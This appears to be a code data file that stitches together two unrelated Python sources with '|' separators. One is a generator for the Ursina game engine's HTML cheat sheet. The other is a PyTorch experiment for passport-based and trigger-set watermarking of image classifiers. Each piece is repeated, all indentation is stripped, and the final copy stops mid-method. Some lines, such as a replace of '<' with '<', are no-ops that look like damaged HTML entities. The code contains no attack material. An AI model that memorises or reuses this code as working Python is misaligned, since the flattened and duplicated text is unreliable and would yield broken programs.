attributes we gave the Button above. These are members of Entity, which Button class
inherits from, so the Button class can also access these.
methods/functions
these ends with (), which means they are functions that can be called.
Also lists their parameters and default arguments.
For example, Entity has a method called 'look_at()'. You need to give it a
'target' (an Entity or position) to look at and optionally say
which axis will be facing the target.
example
You can search the document with Ctrl+F for instant search results.
'''
sidebar = '''
<div class="sidebar" style="
left: 0px;
position: fixed;
top: 0px;
padding-top:40px;
padding-left:20px;
bottom: 0;
overflow-y: scroll;
width: 15em;
z-index: 1;
">
<a href="cheat_sheet.html">light</a> <a href="cheat_sheet_dark.html">dark</a>
'''
for i, class_dictionary in enumerate((most_used_info, module_info, class_info, prefab_info, script_info, asset_info)):
for name, attrs_and_functions in class_dictionary.items():
print('generating docs for', name)
location, params, attrs, funcs, example = attrs_and_functions
params = params.replace('__init__', name.split('(')[0])
params = params.replace('(self, ', '(')
params = params.replace('(self)', '()')
name = name.replace('ShowBase', '')
name = name.replace('NodePath', '')
for parent_class in ('Entity', 'Button', 'Draggable', 'Text', 'Collider', 'Mesh', 'Prismatoid'):
name = name.replace(f'({parent_class})', f'(<a style="color: gray;" href="#{parent_class}">{parent_class}</a>)')
base_name = name
if '(' in base_name:
base_name = base_name.split('(')[0]
base_name = base_name.split(')')[0]
name = name.replace('(', '<gray>(')
name = name.replace(')', ')</gray>')
v = lerp(text_color.v, background_color.v, .2)
# v = .5
col = color.color(50-(i*30), .9, v)
col = html_color(col)
sidebar += f'''<a style="color:{col};" href="#{base_name}">{base_name}</a>\n'''
html += '\n'
html += f'''<div id="{base_name}"><div id="{base_name}" style="color:{col}; font-size:1.75em; font-weight:normal;">{name}</div>'''
html += '<div style="position:relative; padding:0em 0em 2em 1em; margin:0;">'
# location
location = str(location)
if 'ursina' in location:
location = location.split('ursina')[-1].replace('\\', '.')[:-3]
html += f'''<gray>ursina{location}</gray><br><br>'''
if params:
params = f'<params class="params">{params}</params>\n'
html += params + '\n'
for e in attrs:
if ' = ' in e:
e = f'''{e.split(' = ')[0]}<gray> = {e.split(' = ')[1]}</gray> '''
html += f'''{e}\n'''
html += '\n'
for e in funcs:
e = f'{e[0]}(<gray>{e[1]}</gray>) <gray>{e[2]}</gray>'
html += e + '\n'
if example:
html += '\n<div class="example">' + example +'\n</div>'
html += '\n</div></div>'
html = html.replace('<gray></gray>', '')
sidebar += '\n'
sidebar += '</div>'
html += '</div>'
html = sidebar + style + '<div id="content">' + html + '</div>' + '</body>'
with open(file_name, 'w', encoding='utf-8') as f:
f.write(html)
make_html('light', 'cheat_sheet.html')
make_html('dark', 'cheat_sheet_dark.html')
| from pathlib import Path
from pprint import pprint
import keyword
import builtins
import textwrap
from ursina import color, lerp, application
def indentation(line):
return len(line) - len(line.lstrip())
def get_module_attributes(str):
attrs = list()
for l in str.split('\n'):
if len(l) == 0:
continue
if l.startswith(tuple(keyword.kwlist) + tuple(dir(builtins)) + (' ', '#', '\'', '\"', '_')):
continue
attrs.append(l)
return attrs
def get_classes(str):
classes = dict()
for c in str.split('\nclass ')[1:]:
class_name = c.split(':', 1)[0]
if class_name.startswith(('\'', '"')):
continue
# print(class_name)
classes[class_name] = c.split(':', 1)[1]
return classes
def get_class_attributes(str):
attributes = list()
lines = str.split('\n')
start = 0
end = len(lines)
for i, line in enumerate(lines):
if line == '''if __name__ == '__main__':''':
break
found_init = False
if line.strip().startswith('def __init__'):
if found_init:
break
start = i
for j in range(i+1, len(lines)):
if (indentation(lines[j]) == indentation(line)
and not lines[j].strip().startswith('def late_init')
):
end = j
found_init = True
break
init_section = lines[start:end]
# print('init_section:', start, end, init_section)
for i, line in enumerate(init_section):
if line.strip().startswith('self.') and ' = ' in line and line.startswith(' '*8) and not line.startswith(' '*9):
stripped_line = line.split('self.', 1)[1]
if '.' in stripped_line.split(' ')[0] or stripped_line.startswith('_'):
continue
key = stripped_line.split(' = ')[0]
value = stripped_line.split(' = ')[1]
if i < len(init_section) and indentation(init_section[i+1]) > indentation(line):
# value = 'multiline'
start = i
end = i
indent = indentation(line)
for j in range(i+1, len(init_section)):
if indentation(init_section[j]) <= indent:
end = j
break
for l in init_section[start+1:end]:
value += '\n' + l[4:]
attributes.append(key + ' = ' + value)
if '@property' in code:
for i, line in enumerate(lines):
if line.strip().startswith('@property'):
name = lines[i+1].split('def ')[1].split('(')[0]
# include comments for properties
if '#' in lines[i+1]:
name += ((20-len(name)) * ' ') + '<gray>#' + lines[i+1].split('#',1)[1] + '</gray>'
if not name in [e.split(' = ')[0] for e in attributes]:
attributes.append(name)
return attributes
def get_functions(str, is_class=False):
functions = dict()
lines = str.split('\n')
functions = list()
lines = str.split('\n')
ignore_functions_for_property_generation = 'generate_properties(' in str
for i, line in enumerate(lines):
if line == '''if __name__ == '__main__':''' or 'docignore' in line:
break
if line.strip().startswith('def '):
if not is_class and line.split('(')[1].startswith('self'):
continue
name = line.split('def ')[1].split('(')[0]
if name.startswith('_') or lines[i-1].strip().startswith('@'):
continue
if ignore_functions_for_property_generation:
if name.startswith('get_') or name.startswith('set_'):
continue
params = line.replace('(self, ', '(')
params = params.replace('(self)', '()')
params = params.split('(', 1)[1].rsplit(')', 1)[0]
comment = ''
if '#' in line:
comment = '#' + line.split('#')[1]
functions.append((name, params, comment))
return functions
def clear_tags(str):
for tag in ('purple', 'olive', 'yellow', 'blue'):
str = str.replace(f'<{tag}>', '')
str = str.replace(f'</{tag}>', '')
return str
def get_example(str, name=None): # use name to highlight the relevant class
key = '''if __name__ == '__main__':'''
lines = list()
example_started = False
for l in str.split('\n'):
if example_started:
lines.append(l)
if l == key:
example_started = True
example = '\n'.join(lines)
example = textwrap.dedent(example)
example = example.split('# test\n')[0]
ignore = ('app = Ursina()', 'app.run()', 'from ursina import *')
if 'class Ursina' in str: # don't ignore in main.py
ignore = ()
lines = [e for e in example.split('\n') if not e in ignore and not e.strip().startswith('#')]
import re
styled_lines = list()
for line in lines:
line = line.replace('def ', '<purple>def</purple> ')
line = line.replace('from ', '<purple>from</purple> ')
line = line.replace('import ', '<purple>import</purple> ')
line = line.replace('for ', '<purple>for</purple> ')
line = line.replace('elif ', '<purple>elif</purple> ')
line = line.replace('if ', '<purple>if</purple> ')
line = line.replace(' not ', ' <purple>not</purple> ')
line = line.replace('else:', '<purple>else</purple>:')
line = line.replace('Entity', '<olive>Entity</olive>')
for e in ('print', 'range', 'hasattr', 'getattr', 'setattr'):
line = line.replace(f'{e}(' , f'<blue>{e}</blue>(')
# colorize ursina specific params
for e in ('enabled', 'parent', 'world_parent', 'model', 'highlight_color', 'color',
'texture_scale', 'texture', 'visible',
'position', 'z', 'y', 'z',
'rotation', 'rotation_x', 'rotation_y', 'rotation_z',
'scale', 'scale_x', 'scale_y', 'scale_z',
'origin', 'origin_x', 'origin_y', 'origin_z',
'text', 'on_click', 'icon', 'collider', 'shader', 'curve', 'ignore',
'vertices', 'triangles', 'uvs', 'normals', 'colors', 'mode', 'thickness'
):
line = line.replace(f'{e}=' , f'<olive>{e}</olive>=')
# colorize numbers
for i in range(10):
line = line.replace(f'{i}', f'<yellow>{i}</yellow>')
# destyle Vec2 and Vec3
line = line.replace(f'<yellow>3</yellow>(', '3(')
line = line.replace(f'<yellow>2</yellow>(', '2(')
# highlight class name
if name:
if '(' in name:
name = name.split('(')[0]
line = line.replace(f'{name}(', f'<purple><b>{name}</b></purple>(')
line = line.replace(f'={name}(', f'=<purple><b>{name}</b></purple>(')
# line = line.replace(f'.{name}', f'.<font colorK
if ' #' in line:
# remove colored words inside strings
line = clear_tags(line)
line = line.replace(' #', ' <gray>#')
line += '</gray>'
styled_lines.append(line)
lines = styled_lines
example = '\n'.join(lines)
# find triple qutoted strings
if example.count("'''") % 2 == 0 and example.count("'''") > 1:
parts = example.strip().split("'''")
parts = [e for e in parts if e]
is_quote = example.strip().startswith("'''")
for i in range(not is_quote, len(parts), 2):
parts[i] = clear_tags(parts[i])
parts[i] = "<green>'''" + parts[i] + "'''</green>"
example = ''.join(parts)
# find single quoted words
styled_lines = []
for line in example.split('\n'):
quotes = re.findall('\'(.*?)\'', line)
quotes = ['\'' + q + '\'' for q in quotes]
for q in quotes:
line = line.replace(q, '<green>' + clear_tags(q) + '</green>')
styled_lines.append(line)
example = '\n'.join(styled_lines)
return example.strip()
def is_singleton(str):
for l in str.split('\n'):
# if l.startswith('sys.modules['):
if l.startswith('instance = '):
return True
result = False
path = application.package_folder
most_used_info = dict()
module_info = dict()
class_info = dict()
# ignore files that are not commited
ignored_files = list()
from git import Repo
repo = Repo(path.parent)
ignored_files = repo.untracked_files
ignored_files = [Path(path.parent / e) for e in ignored_files]
for f in ignored_files:
print('ignoring:', f)
ignored_files.append(path / 'gamepad.py')
for f in path.glob('*.py'):
if f in ignored_files:
continue
if f.name.startswith('_') or f.name == 'build.py':
module_info['build'] = (
f,
'python -m ursina.build',
{},
'',
'''open cmd at your project folder and run 'python -m ursina.build' to package your app for windows.'''
)
continue
with open(f, encoding='utf8') as t:
code = t.read()
code = code.replace('<', '<').replace('>', '>')
if not is_singleton(code):
name = f.stem
attrs, funcs = list(), list()
attrs = get_module_attributes(code)
funcs = get_functions(code)
example = get_example(code, name)
if attrs or funcs:
module_info[name] = (f, '', attrs, funcs, example)
# continue
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'Enum' in class_name:
class_definition = class_definition.split('def ')[0]
attrs = [l.strip() for l in class_definition.split('\n') if ' = ' in l]
class_info[class_name] = (f, '', attrs, '', '')
continue
if 'def __init__' in class_definition:
# init line
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
class_info[class_name] = (f, params, attrs, methods, example)
# singletons
else:
module_name = f.name.split('.')[0]
classes = get_classes(code)
for class_name, class_definition in classes.items():
# print(module_name)
attrs, methods = list(), list()
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
module_info[module_name] = (f, '', attrs, methods, example)
prefab_info = dict()
for f in path.glob('prefabs/*.py'):
if f.name.startswith('_') or f in ignored_files:
continue
with open(f, encoding='utf8') as t:
code = t.read()
code = code.replace('<', '<').replace('>', '>')
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'def __init__' in class_definition:
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
prefab_info[class_name] = (f, params, attrs, methods, example)
script_info = dict()
for f in path.glob('scripts/*.py'):
if f.name.startswith('_') or f in ignored_files:
continue
# if f.is_file() and f.name.endswith(('.py', )):
with open(f, encoding='utf8') as t:
code = t.read()
if not 'class ' in code:
name = f.name.split('.')[0]
attrs, funcs = list(), list()
attrs = get_module_attributes(code)
funcs = get_functions(code)
example = get_example(code)
if attrs or funcs:
script_info[name] = (f, '', attrs, funcs, example)
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'def __init__' in class_definition:
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
script_info[class_name] = (f, params, attrs, methods, example)
asset_info = dict()
model_names = [f'\'{f.stem}\'' for f in path.glob('models_compressed/*.ursinamesh')]
asset_info['models'] = ('', '', model_names, '', '''e = Entity(model='quad')''')
texture_names = [f'\'{f.stem}\'' for f in path.glob('textures/*.*')]
asset_info['textures'] = ('', '', texture_names, '', '''e = Entity(model='cube', texture='brick')''')
shaders = [f'{f.stem}' for f in path.glob('shaders/*.*')]
asset_info['shaders'] = ('', '', shaders, '', '''from ursina.shaders import normals_shader\ne = Entity(shader=normals_shader)''')
for f in path.glob('models/procedural/*.py'):
if f.name.startswith('_') or f in ignored_files:
continue
with open(f, encoding='utf8') as t:
code = t.read()
classes = get_classes(code)
for class_name, class_definition in classes.items():
if 'def __init__' in class_definition:
params = '__init__('+ class_definition.split('def __init__(')[1].split('\n')[0][:-1]
attrs = get_class_attributes(class_definition)
methods = get_functions(class_definition, is_class=True)
example = get_example(code, class_name)
asset_info[class_name] = (f, params, attrs, methods, example)
most_used_info = dict()
for name in ('Entity(NodePath)', 'Text(Entity)', 'Button(Entity)', 'mouse', 'raycaster',):
for d in (module_info, class_info, prefab_info):
if name in d:
most_used_info[name] = d[name]
del d[name]
def html_color(color):
return f'hsl({color.h}, {int(color.s*100)}%, {int(color.v*100)}%)'
def make_html(style, file_name):
if style == 'light':
base_color = color.color(60, 0, .99)
background_color = lerp(base_color, base_color.invert(), 0)
else:
base_color = color.color(60, 1, .01)
background_color = lerp(base_color, base_color.invert(), .125)
text_color = lerp(background_color, background_color.invert(), .9)
example_color = lerp(background_color, text_color, .1)
scrollbar_color = html_color(lerp(background_color, text_color, .1))
link_color = html_color(color.gray)
init_color = html_color(base_color.invert())
style = f'''
<style>
html {{
scrollbar-face-color: {html_color(text_color)};
scrollbar-base-color: {html_color(text_color)};
scrollbar-3dlight-color: {html_color(text_color)}4;
scrollbar-highlight-color: {html_color(text_color)};
scrollbar-track-color: {html_color(background_color)};
scrollbar-arrow-color: {html_color(background_color)};
scrollbar-shadow-color: {html_color(text_color)};
scrollbar-darkshadow-color: {html_color(text_color)};
}}
::-webkit-scrollbar {{ width: 8px; height: 3px;}}
::-webkit-scrollbar {{ width: 8px; height: 3px;}}
::-webkit-scrollbar-button {{ background-color: {scrollbar_color}; }}
::-webkit-scrollbar-track {{ background-color: {html_color(background_color)};}}
::-webkit-scrollbar-track-piece {{ background-color: {html_color(background_color)};}}
::-webkit-scrollbar-thumb {{ height: 50px; background-color: {scrollbar_color}; border-radius: 3px;}}
::-webkit-scrollbar-corner {{ background-color: {html_color(background_color)};}}
::-webkit-resizer {{ background-color: {html_color(background_color)};}}
body {{
margin: auto;
background-color: {html_color(background_color)};
color: {html_color(text_color)};
font-family: monospace;
position: absolute;
top:0;
left: 24em;
font-size: 1.375em;
font-weight: lighter;
max-width: 100%;
overflow-x: hidden;
white-space: pre-wrap;
}}
a {{
color: {link_color};
}}
purple {{color: hsl(289.0, 50%, 50%);}}
gray {{color: gray;}}
olive {{color: olive;}}
yellow {{color: darkgoldenrod;}}
green {{color: seagreen;}}
blue {{color: hsl(210, 50%, 50%);}}
.example {{
padding-left: 1em;
background-color: {html_color(example_color)};
}}
.params {{
color:{init_color};
font-weight:bold;
}}
</style>
'''
# return style
html = '<title> ursina cheat sheet</title>'
html += '''
<b>Ursina cheat sheet</b>
This document lists most modules and classes in ursina. Each section is structured as follows:
ClassName(BaseClass)
module location
parameters
How instantiate the class, ie. Button(text='', **kwargs).
'**kwargs' in this case, means you can give it optional keyword arguments.
For example, Button('Start', scale=.25, color=color.blue, position=(-.1,.25)) also incldues
information on how big the button should be, its color and its position.
attributes
Names of values we can get/set, sometimes followed by its starting value and a short explanation.
For example, 'scale', 'color' and 'position' are
attributes we gave the Button above. These are members of Entity, which Button class
inherits from, so the Button class can also access these.
methods/functions
these ends with (), which means they are functions that can be called.
Also lists their parameters and default arguments.
For example, Entity has a method called 'look_at()'. You need to give it a
'target' (an Entity or position) to look at and optionally say
which axis will be facing the target.
example
You can search the document with Ctrl+F for instant search results.
'''
sidebar = '''
<div class="sidebar" style="
left: 0px;
position: fixed;
top: 0px;
padding-top:40px;
padding-left:20px;
bottom: 0;
overflow-y: scroll;
width: 15em;
z-index: 1;
">
<a href="cheat_sheet.html">light</a> <a href="cheat_sheet_dark.html">dark</a>
'''
for i, class_dictionary in enumerate((most_used_info, module_info, class_info, prefab_info, script_info, asset_info)):
for name, attrs_and_functions in class_dictionary.items():
print('generating docs for', name)
location, params, attrs, funcs, example = attrs_and_functions
params = params.replace('__init__', name.split('(')[0])
params = params.replace('(self, ', '(')
params = params.replace('(self)', '()')
name = name.replace('ShowBase', '')
name = name.replace('NodePath', '')
for parent_class in ('Entity', 'Button', 'Draggable', 'Text', 'Collider', 'Mesh', 'Prismatoid'):
name = name.replace(f'({parent_class})', f'(<a style="color: gray;" href="#{parent_class}">{parent_class}</a>)')
base_name = name
if '(' in base_name:
base_name = base_name.split('(')[0]
base_name = base_name.split(')')[0]
name = name.replace('(', '<gray>(')
name = name.replace(')', ')</gray>')
v = lerp(text_color.v, background_color.v, .2)
# v = .5
col = color.color(50-(i*30), .9, v)
col = html_color(col)
sidebar += f'''<a style="color:{col};" href="#{base_name}">{base_name}</a>\n'''
html += '\n'
html += f'''<div id="{base_name}"><div id="{base_name}" style="color:{col}; font-size:1.75em; font-weight:normal;">{name}</div>'''
html += '<div style="position:relative; padding:0em 0em 2em 1em; margin:0;">'
# location
location = str(location)
if 'ursina' in location:
location = location.split('ursina')[-1].replace('\\', '.')[:-3]
html += f'''<gray>ursina{location}</gray><br><br>'''
if params:
params = f'<params class="params">{params}</params>\n'
html += params + '\n'
for e in attrs:
if ' = ' in e:
e = f'''{e.split(' = ')[0]}<gray> = {e.split(' = ')[1]}</gray> '''
html += f'''{e}\n'''
html += '\n'
for e in funcs:
e = f'{e[0]}(<gray>{e[1]}</gray>) <gray>{e[2]}</gray>'
html += e + '\n'
if example:
html += '\n<div class="example">' + example +'\n</div>'
html += '\n</div></div>'
html = html.replace('<gray></gray>', '')
sidebar += '\n'
sidebar += '</div>'
html += '</div>'
html = sidebar + style + '<div id="content">' + html + '</div>' + '</body>'
with open(file_name, 'w', encoding='utf-8') as f:
f.write(html)
make_html('light', 'cheat_sheet.html')
make_html('dark', 'cheat_sheet_dark.html')
|
import os
from pprint import pprint
import torch
import torch.optim as optim
import passport_generator
from dataset import prepare_dataset, prepare_wm
from experiments.base import Experiment
from experiments.trainer import Trainer, Tester
from experiments.trainer_private import TesterPrivate
from experiments.utils import construct_passport_kwargs
from models.alexnet_normal import AlexNetNormal
from models.alexnet_passport import AlexNetPassport
from models.layers.conv2d import ConvBlock
from models.layers.passportconv2d import PassportBlock
from models.resnet_normal import ResNet18
from models.resnet_passport import ResNet18Passport
class ClassificationExperiment(Experiment):
def __init__(self, args):
super().__init__(args)
self.in_channels = 1 if self.dataset == 'mnist' else 3
self.num_classes = {
'cifar10': 10,
'cifar100': 100,
'caltech-101': 101,
'caltech-256': 256
}[self.dataset]
self.mean = torch.tensor([0.4914, 0.4822, 0.4465])
self.std = torch.tensor([0.2023, 0.1994, 0.2010])
self.train_data, self.valid_data = prepare_dataset(self.args)
self.wm_data = None
if self.use_trigger_as_passport:
self.passport_data = prepare_wm('data/trigger_set/pics')
else:
self.passport_data = self.valid_data
if self.train_backdoor:
self.wm_data = prepare_wm('data/trigger_set/pics')
self.construct_model()
optimizer = optim.SGD(self.model.parameters(),
lr=self.lr,
momentum=0.9,
weight_decay=0.0005)
if len(self.lr_config[self.lr_config['type']]) != 0: # if no specify steps, then scheduler = None
scheduler = optim.lr_scheduler.MultiStepLR(optimizer,
self.lr_config[self.lr_config['type']],
self.lr_config['gamma'])
else:
scheduler = None
self.trainer = Trainer(self.model, optimizer, scheduler, self.device)
if self.is_tl:
self.finetune_load()
else:
self.makedirs_or_load()
def construct_model(self):
def setup_keys():
if self.key_type != 'random':
if self.arch == 'alexnet':
pretrained_model = AlexNetNormal(self.in_channels, self.num_classes)
else:
pretrained_model = ResNet18(num_classes=self.num_classes,
norm_type=self.norm_type)
pretrained_model.load_state_dict(torch.load(self.pretrained_path))
pretrained_model = pretrained_model.to(self.device)
self.setup_keys(pretrained_model)
def load_pretrained():
if self.pretrained_path is not None:
sd = torch.load(self.pretrained_path)
model.load_state_dict(sd)
if self.train_passport:
passport_kwargs = construct_passport_kwargs(self)
self.passport_kwargs = passport_kwargs
print('Loading arch: ' + self.arch)
if self.arch == 'alexnet':
model = AlexNetPassport(self.in_channels, self.num_classes, passport_kwargs)
else:
model = ResNet18Passport(num_classes=self.num_classes,
passport_kwargs=passport_kwargs)
self.model = model.to(self.device)
setup_keys()
else: # train normally or train backdoor
print('Loading arch: ' + self.arch)
if self.arch == 'alexnet':
model = AlexNetNormal(self.in_channels, self.num_classes, self.norm_type)
else:
model = ResNet18(num_classes=self.num_classes, norm_type=self.norm_type)
load_pretrained()
self.model = model.to(self.device)
pprint(self.model)
def setup_keys(self, pretrained_model):
if self.key_type != 'random':
n = 1 if self.key_type == 'image' else 20 # any number will do
key_x, x_inds = passport_generator.get_key(self.passport_data, n)
key_x = key_x.to(self.device)
key_y, y_inds = passport_generator.get_key(self.passport_data, n)
key_y = key_y.to(self.device)
passport_generator.set_key(pretrained_model, self.model,
key_x, key_y)
def transfer_learning(self):
if not self.is_tl:
raise Exception('Please run with --transfer-learning')
self.num_classes = {
'cifar10': 10,
'cifar100': 100,
'caltech-101': 101,
'caltech-256': 256
}[self.tl_dataset]
##### load clone model #####
print('Loading clone model')
if self.arch == 'alexnet':
clone_model = AlexNetNormal(self.in_channels,
self.num_classes,
self.norm_type)
else:
clone_model = ResNet18(num_classes=self.num_classes,
norm_type=self.norm_type)
##### load / reset weights of passport layers for clone model #####
try:
clone_model.load_state_dict(self.model.state_dict())
except:
print('Having problem to direct load state dict, loading it manually')
if self.arch == 'alexnet':
for clone_m, self_m in zip(clone_model.features, self.model.features):
try:
clone_m.load_state_dict(self_m.state_dict())
except:
print('Having problem to load state dict usually caused by missing keys, load by strict=False')
clone_m.load_state_dict(self_m.state_dict(), False) # load conv weight, bn running mean
clone_m.bn.weight.data.copy_(self_m.get_scale().detach().view(-1))
clone_m.bn.bias.data.copy_(self_m.get_bias().detach().view(-1))
else:
passport_settings = self.passport_config
for l_key in passport_settings: # layer
if isinstance(passport_settings[l_key], dict):
for i in passport_settings[l_key]: # sequential
for m_key in passport_settings[l_key][i]: # convblock
clone_m = clone_model.__getattr__(l_key)[int(i)].__getattr__(m_key) # type: ConvBlock
self_m = self.model.__getattr__(l_key)[int(i)].__getattr__(m_key) # type: PassportBlock
try:
clone_m.load_state_dict(self_m.state_dict())
except:
print(f'{l_key}.{i}.{m_key} cannot load state dict directly')
clone_m.load_state_dict(self_m.state_dict(), False)
clone_m.bn.weight.data.copy_(self_m.get_scale().detach().view(-1))
clone_m.bn.bias.data.copy_(self_m.get_bias().detach().view(-1))
else:
clone_m = clone_model.__getattr__(l_key)
self_m = self.model.__getattr__(l_key)
try:
clone_m.load_state_dict(self_m.state_dict())
except:
print(f'{l_key} cannot load state dict directly')
clone_m.load_state_dict(self_m.state_dict(), False)
clone_m.bn.weight.data.copy_(self_m.get_scale().detach().view(-1))
clone_m.bn.bias.data.copy_(self_m.get_bias().detach().view(-1))
clone_model.to(self.device)
print('Loaded clone model')
##### dataset is created at constructor #####
##### tl scheme setup #####
if self.tl_scheme == 'rtal':
# rtal = reset last layer + train all layer
# ftal = train all layer
try:
clone_model.classifier.reset_parameters()
except:
clone_model.linear.reset_parameters()
##### optimizer setup #####
optimizer = optim.SGD(clone_model.parameters(),
lr=self.lr,
momentum=0.9,
weight_decay=0.0005)
if len(self.lr_config[self.lr_config['type']]) != 0: # if no specify steps, then scheduler = None
scheduler = optim.lr_scheduler.MultiStepLR(optimizer,
self.lr_config[self.lr_config['type']],
self.lr_config['gamma'])
else:
scheduler = None
self.trainer = Trainer(clone_model,
optimizer,
scheduler,
self.device)
tester = Tester(self.model,
self.device)
tester_passport = TesterPrivate(self.model,
self.device)
history_file = os.path.join(self.logdir, 'history.csv')
first = True
best_acc = 0
for ep in range(1, self.epochs + 1):
train_metrics = self.trainer.train(ep, self.train_data)
valid_metrics = self.trainer.test(self.valid_data)
##### load transfer learning weights from clone model #####
try:
self.model.load_state_dict(clone_model.state_dict())
except:
if self.arch == 'alexnet':
for clone_m, self_m in zip(clone_model.features, self.model.features):
try:
self_m.load_state_dict(clone_m.state_dict())
except:
self_m.load_state_dict(clone_m.state_dict(), False)
else:
passport_settings = self.passport_config
for l_key in passport_settings: # layer
if isinstance(passport_settings[l_key], dict):
for i in passport_settings[l_key]: # sequential
for m_key in passport_settings[l_key][i]: # convblock
clone_m = clone_model.__getattr__(l_key)[int(i)].__getattr__(m_key)
self_m = self.model.__getattr__(l_key)[int(i)].__getattr__(m_key)
try:
self_m.load_state_dict(clone_m.state_dict())
except:
self_m.load_state_dict(clone_m.state_dict(), False)
else:
clone_m = clone_model.__getattr__(l_key)
self_m = self.model.__getattr__(l_key)
try:
self_m.load_state_dict(clone_m.state_dict())
except:
self_m.load_state_dict(clone_m.state_dict(), False)
clone_model.to(self.device)
self.model.to(self.device)
wm_metrics = {}
if self.train_backdoor:
wm_metrics = tester.test(self.wm_data, 'WM Result')
if self.train_passport:
res = tester_passport.test_signature()
for key in res: wm_metrics['passport_' + key] = res[key]
metrics = {}
for key in train_metrics: metrics[f'train_{key}'] = train_metrics[key]
for key in valid_metrics: metrics[f'valid_{key}'] = valid_metrics[key]
for key in wm_metrics: metrics[f'old_wm_{key}'] = wm_metrics[key]
self.append_history(history_file, metrics, first)
first = False
if self.save_interval and ep % self.save_interval == 0:
self.save_model(f'epoch-{ep}.pth')
self.save_model(f'tl-epoch-{ep}.pth', clone_model)
if best_acc < metrics['valid_acc']:
print(f'Found best at epoch {ep}\n')
best_acc = metrics['valid_acc']
self.save_model('best.pth')
self.save_model('tl-best.pth', clone_model)
self.save_last_model()
def training(self):
best_acc = float('-inf')
history_file = os.path.join(self.logdir, 'history.csv')
first = True
if self.save_interval > 0:
self.save_model('epoch-0.pth')
for ep in range(1, self.epochs + 1):
train_metrics = self.trainer.train(ep, self.train_data, self.wm_data)
print(f'Sign Detection Accuracy: {train_metrics['sign_acc'] * 100:6.4f}')
valid_metrics = self.trainer.test(self.valid_data, 'Testing Result')
wm_metrics = {}
if self.train_backdoor:
wm_metrics = self.trainer.test(self.wm_data, 'WM Result')
metrics = {}
for key in train_metrics: metrics[f'train_{key}'] = train_metrics[key]
for key in valid_metrics: metrics[f'valid_{key}'] = valid_metrics[key]
for key in wm_metrics: metrics[f'wm_{key}'] = wm_metrics[key]
self.append_history(history_file, metrics, first)
first = False
if self.save_interval and ep % self.save_interval == 0:
self.save_model(f'epoch-{ep}.pth')
if best_acc < metrics['valid_acc']:
print(f'Found best at epoch {ep}\n')
best_acc = metrics['valid_acc']
self.save_model('best.pth')
self.save_last_model()
def evaluate(self):
self.trainer.test(self.valid_data)
| import os
from pprint import pprint
import torch
import torch.optim as optim
import passport_generator
from dataset import prepare_dataset, prepare_wm
from experiments.base import Experiment
from experiments.trainer import Trainer, Tester
from experiments.trainer_private import TesterPrivate
from experiments.utils import construct_passport_kwargs
from models.alexnet_normal import AlexNetNormal
from models.alexnet_passport import AlexNetPassport
from models.layers.conv2d import ConvBlock
from models.layers.passportconv2d import PassportBlock
from models.resnet_normal import ResNet18
from models.resnet_passport import ResNet18Passport
class ClassificationExperiment(Experiment):
def __init__(self, args):
super().__init__(args)
self.in_channels = 1 if self.dataset == 'mnist' else 3
self.num_classes = {
'cifar10': 10,
'cifar100': 100,
'caltech-101': 101,
'caltech-256': 256
}[self.dataset]
self.mean = torch.tensor([0.4914, 0.4822, 0.4465])
self.std = torch.tensor([0.2023, 0.1994, 0.2010])
self.train_data, self.valid_data = prepare_dataset(self.args)
self.wm_data = None
if self.use_trigger_as_passport:
self.passport_data = prepare_wm('data/trigger_set/pics')
else:
self.passport_data = self.valid_data
if self.train_backdoor:
self.wm_data = prepare_wm('data/trigger_set/pics')
self.construct_model()
optimizer = optim.SGD(self.model.parameters(),
lr=self.lr,
momentum=0.9,
weight_decay=0.0005)
if len(self.lr_config[self.lr_config['type']]) != 0: # if no specify steps, then scheduler = None
scheduler = optim.lr_scheduler.MultiStepLR(optimizer,
self.lr_config[self.lr_config['type']],
self.lr_config['gamma'])
else:
scheduler = None
self.trainer = Trainer(self.model, optimizer, scheduler, self.device)
if self.is_tl:
self.finetune_load()
else:
self.makedirs_or_load()
def construct_model(self):
def setup_keys():
if self.key_type != 'random':
if self.arch == 'alexnet':
pretrained_model = AlexNetNormal(self.in_channels, self.num_classes)
else:
pretrained_model = ResNet18(num_classes=self.num_classes,
norm_type=self.norm_type)
pretrained_model.load_state_dict(torch.load(self.pretrained_path))
pretrained_model = pretrained_model.to(self.device)
self.setup_keys(pretrained_model)
def load_pretrained():
if self.pretrained_path is not None:
sd = torch.load(self.pretrained_path)
model.load_state_dict(sd)
if self.train_passport:
passport_kwargs = construct_passport_kwargs(self)
self.passport_kwargs = passport_kwargs
print('Loading arch: ' + self.arch)
if self.arch == 'alexnet':
model = AlexNetPassport(self.in_channels, self.num_classes, passport_kwargs)
else:
model = ResNet18Passport(num_classes=self.num_classes,
passport_kwargs=passport_kwargs)
self.model = model.to(self.device)
setup_keys()
else: # train normally or train backdoor
print('Loading arch: ' + self.arch)
if self.arch == 'alexnet':
model = AlexNetNormal(self.in_channels, self.num_classes, self.norm_type)
else:
model = ResNet18(num_classes=self.num_classes, norm_type=self.norm_type)
load_pretrained()
self.model = model.to(self.device)
pprint(self.model)
def setup_keys(self, pretrained_model):
if self.key_type != 'random':
n = 1 if self.key_type == 'image' else 20 # any number will do
key_x, x_inds = passport_generator.get_key(self.passport_data, n)
key_x = key_x.to(self.device)
key_y, y_inds = passport_generator.get_key(self.passport_data, n)
key_y = key_y.to(self.device)
passport_generator.set_key(pretrained_model, self.model,
key_x, key_y)
def transfer_learning(self):
if not self.is_tl:
raise Exception('Please run with --transfer-learning')
self.num_classes = {
'cifar10': 10,
'cifar100': 100,
'caltech-101': 101,
'caltech-256': 256
}[self.tl_dataset]
##### load clone model #####
print('Loading clone model')
if self.arch == 'alexnet':
clone_model = AlexNetNormal(self.in_channels,
self.num_classes,
self.norm_type)
else:
clone_model = ResNet18(num_classes=self.num_classes,
norm_type=self.norm_type)
##### load / reset weights of passport layers for clone model #####
try:
